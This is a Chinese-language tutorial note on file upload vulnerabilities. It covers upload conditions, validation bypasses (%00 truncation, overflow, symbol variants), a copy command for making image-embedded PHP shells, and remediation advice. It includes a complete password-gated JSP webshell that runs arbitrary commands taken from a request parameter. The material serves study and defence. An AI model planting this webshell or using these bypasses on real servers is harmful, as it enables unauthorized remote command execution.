文件上传漏洞

验证/绕过

利用思路

文件上传利用条件

1.能上传

2.能解析

3.知道上传的路径且可以访问

文件上传常见验证:

后缀名,类型,文件头等
后缀名:黑名单,白名单
文件类型:MIME信息
文件头:内容头信息

%00只能在php5.3以下才会生效

图片马🐎

使用cmd copy命令将php代码插入图片_php怎么引入图片-CSDN博客
/a 表示一个 ASCII 文本文件
/b 表示一个二进位文件

复制代码
copy 1.jpg/b + 2.txt/a 3.jpg

尽量使用copy进行制作,手动修改可能破坏图片

二次渲染

【文件上传绕过】--二次渲染-CSDN博客

一句话jsp恶意代码

复制代码
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

参数:pwd=023&i=id(ls或者其他也可)

上传参数名解析:明确哪些东西能修改

Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件MIME,视情况更改

常见绕过方法

数据溢出-防匹配(xxx...)

符号变异-防匹配(' '' ;)

数据截断-防匹配(%00 ; 换行)

重复匹配-防匹配(参数多次)

文件上传安全修复方案

后端验证:采用服务端验证模式

后缀检测:基于黑名单,白名单过滤

MIME检测:基于上传自带类型检测

内容检测:文件头,完整性检测

自带函数过滤:参考uploadlabs函数

自定义函数过滤:function check_file(){}

waf防护产品:宝塔,云顿,安全公司产品等

相关推荐
xiaomo224920 分钟前
javaee-网络原理2
网络
云边云科技_云网融合20 分钟前
基于深度学习的设备监控技术:从被动报警到主动预警的革新
网络·人工智能·云计算
若年封尘43 分钟前
告别手写 API 类型:用 openapi-fetch 打造类型安全的前端接口层
前端·安全·openapi-fetch
VOOHU-沃虎1 小时前
BMS隔离变压器技术解析:以WHS06A01A0为例
网络·工业控制
API快乐传递者1 小时前
从零构建高可用API接口:架构设计、性能优化与安全实践
安全·性能优化
GEO-optimize2 小时前
2026年上海GEO服务商实力测评与选型指南
大数据·网络·人工智能·geo
AI精钢2 小时前
什么是面向 Agent 的 LLM?从 Qwen3.6-Plus 看大模型的新分水岭
网络·数据库·人工智能·云原生·aigc
2401_865382502 小时前
等保2.0与密评,先做哪个?
系统安全·信息化项目·密评·安全等保
liuluyang5303 小时前
SCR_EL3,安全配置寄存器
安全·armv8·scr_el3
小陈工3 小时前
Python Web开发入门(八):用户认证系统实现,给你的应用加上安全锁
开发语言·前端·数据库·python·安全·django·sqlite